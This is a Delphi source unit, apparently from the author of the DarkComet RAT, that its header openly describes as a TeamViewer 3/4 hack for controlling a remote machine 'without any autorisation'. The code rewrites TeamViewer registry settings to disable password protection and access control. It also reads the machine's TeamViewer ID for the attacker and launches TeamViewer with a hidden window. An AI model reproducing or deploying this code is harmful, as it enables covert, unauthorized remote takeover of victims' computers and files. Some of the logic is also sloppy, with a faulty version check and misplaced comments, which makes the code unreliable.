teamviewer 3,4

-----------------------------------------------------
This is a realy sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !
-----------------------------------------------------
Author   : DarkCoderSc
Mail     : DarkCoderSc@Unremote.org
Web-Site : Http://synsecurity.net/ & Http://unremote.org/
& http://darkcomet-rat.com
----------------------------------------------------
Require Registry.pas , Classes , Sysutils to be add in uses
----------------------------------------------------
*)

unit UntTVHack;

interface

Uses Windows,Registry,Sysutils,ShellAPI;
{---------------------------------------------------}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{---------------------------------------------------}
implementation

{---------------------------------------------------}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{---------------------------------------------------}

{Get the TV Version---------}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}

{Get the Full TV Version-----------------------------}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}

{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}

{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}

{This will give the Team Viewer ID}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}

{This little function will format in String- the TeamViewer ID}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID------------------------}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--------------------------------}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{---------------------------------------------------}

{Now Launch Team Viewer Hidely}
Procedure RunTVHide;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;

Function GetTVPath:String;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
Result := TVPath;
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
end.